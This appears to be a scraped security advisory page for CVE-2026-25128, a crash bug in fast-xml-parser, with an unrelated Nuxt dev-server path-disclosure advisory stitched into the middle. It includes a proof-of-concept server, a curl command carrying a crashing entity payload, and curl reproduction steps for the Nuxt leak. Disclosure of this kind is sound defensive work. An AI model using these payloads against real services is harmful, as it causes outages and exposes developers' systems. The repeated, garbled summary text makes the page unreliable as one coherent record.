CVE-2026-25128

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

• [0-9]{1,7} matches up to 9,999,999
• [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

• API servers accepting XML payloads
• File processors parsing uploaded XML files
• Message queues consuming XML messages
• RSS/Atom feed parsers
• SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Summary

When running nuxt dev, Nuxt registers an unauthenticated route at /.well-known/appspecific/com.chrome.devtools.json that returns the absolute filesystem path of the project root and a per-project UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json. The route is enabled by default via experimental.chromeDevtoolsProjectSettings: true.

The endpoint exists to let Chrome DevTools' Workspace integration map sources to the developer's local checkout. The handler is registered directly on nitro.options.devHandlers and does not pass through the CORS / origin wrapper that the rest of the dev pipeline uses, so it has no host / origin / Sec-Fetch-Site check of its own.

Impact

Dev-server only. Production builds do not register the route.

Two values are disclosed:

• workspace.root: the absolute filesystem path of the project (commonly reveals the OS username and the on-disk project name).
• workspace.uuid: a v4 UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json, stable across dev-server restarts and re-clones.

Threat model

The response carries no Access-Control-Allow-Origin header. A cross-origin fetch() from an arbitrary malicious page is therefore blocked by the browser's same-origin policy and cannot read the body. The two realistic recovery paths are:

1. LAN-adjacent attacker when the developer runs nuxt dev --host (or otherwise binds to a non-loopback interface). A plain curl http://<dev-lan-ip>:3000/.well-known/appspecific/com.chrome.devtools.json returns the JSON; no browser, no CORS.
2. DNS rebinding against the default loopback dev server. A page the developer visits resolves to the attacker, then re-resolves to 127.0.0.1 after the TTL; the browser believes the request is same-origin and reads the response.

Affected versions

[email protected] (PR #32084) through [email protected]. 3.x is not affected.

Reproduction

npx nuxt dev
curl -s http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
# {"workspace":{"uuid":"...","root":"/Users/<name>/..."}}

Workaround

Set experimental: { chromeDevtoolsProjectSettings: false } in nuxt.config.ts. Chrome DevTools' Workspace auto-integration will stop working; the dev server is otherwise unaffected.

Patches

Fixed in [email protected] by #35201 (commit 55c75b78). The handler is now routed through the same host / origin gate the rest of the dev server uses, so the endpoint only responds to requests that look local.

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.